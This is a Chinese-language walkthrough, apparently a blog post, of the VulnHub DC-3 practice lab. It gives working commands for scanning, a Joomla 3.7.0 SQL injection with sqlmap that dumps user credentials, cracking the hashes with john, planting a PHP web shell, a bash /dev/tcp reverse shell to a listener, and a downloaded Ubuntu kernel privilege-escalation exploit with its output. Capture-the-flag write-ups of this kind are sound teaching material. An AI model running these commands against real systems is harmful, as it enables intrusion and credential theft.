VulnHub_DC-3渗透流程

VulnHub_DC-3

DC-3 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

与之前的 DC 版本一样,这个版本是为初学者设计的,尽管这一次只有一个flag、一个入口点并且根本没有任何线索。

必须具备 Linux 技能和熟悉 Linux 命令行,以及一些使用基本渗透测试工具的经验。

对于初学者,Google 可以提供很大的帮助,但您可以随时通过 @DCAU7 向我发送推文以寻求帮助,让您重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

对于那些有过 CTF 和 Boot2Root 挑战经验的人来说,这可能根本不会花费您很长时间(事实上,它可能会花费您不到 20 分钟的时间)。

如果是这样的话,并且如果你想让它更具挑战性,你可以随时重做挑战并探索其他获得根和旗帜的方法。

探测靶机

nmap 192.168.157.0/24
nmap -sV -A -p- 192.168.157.144

检测一下网站的框架,为Joomla框架

joomscan扫描

用Joomla专门的CMS扫描器扫描

joomscan --url http://192.168.157.144

发现Joomla的版本为 3.7.0

查询漏洞信息

查看是否有相关漏洞信息

searchsploit Joomla 3.7.0

有个SQL的漏洞,查看详细信息

searchsploit -x  php/webapps/42033.txt

接下来按着打就行

sqlmap攻击

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -batch

查表

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  --tables -p list[fullordering] -batch

查看#__users表里面的内容

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' --columns -p list[fullordering]

查询username、password字段里面的内容

sqlmap -u "http://192.168.157.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' -C 'username,password' --dump -p list[fullordering] -batch

john爆破密码

把密码写入pass.txt,用john爆破一下秒出

john pass.txt

登入后台文件上传

登入后台,网址是之前扫描到的 http://192.168.157.144/administrator/

找到文件上传的位置,新建一个shell.php

shell.php的路径为

http://192.168.157.144/templates/beez3/html/shell.php

蚁剑连接

反弹shell

反弹shell是为了后面的提权做准备,蚁剑是一个基于HTTP的临时连接工具,连接易中断,不适合进行提权这种需要持续交互输入命令的操作。所以蚁剑的作用就在于上传文件来提权。

kali开启监听

nc -lnvp 9999

在蚁剑的终端

bash -c 'bash -i >& /dev/tcp/192.168.157.131/9999 0>&1'

再次访问一下shell.php,监听成功

现在需要的是从www-data权限提权到root

Ubuntu 16.04提权漏洞

获取当前操作系统的版本信息

cat /proc/version

获取当前操作系统的发行版信息

cat /etc/issue

查找一下Ubuntu 16.04的提权漏洞

searchsploit Ubuntu 16.04

这里选用这个漏洞,查看详细信息

searchsploit -x  php/webapps/39772.txt

按着打,先去github下载攻击压缩包

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

.......原文件没了,找到了别的师傅上传的

https://github.com/p4sschen/ubuntu16-39772.zip-exp

用蚁剑在对应目录上传 39772.zip

在监听端查看发现上传成功后接着exp打

unzip 39772.zip  #解压29772.zip文件
cd 39772
tar -xvf exploit.tar  #解压exploit提权脚本tar包
cd ebpf_mapfd_doubleput_exploit

执行代码,进行提权,获取root权限

./compile.sh
./doubleput

starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...

等待片刻后取得root权限,我比较喜欢反弹一个完整的shell环境

python -c 'import pty;pty.spawn("/bin/bash")'

取得flag

查找发现flag文件位置,取得flag

posted @   Mar10  阅读(74)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示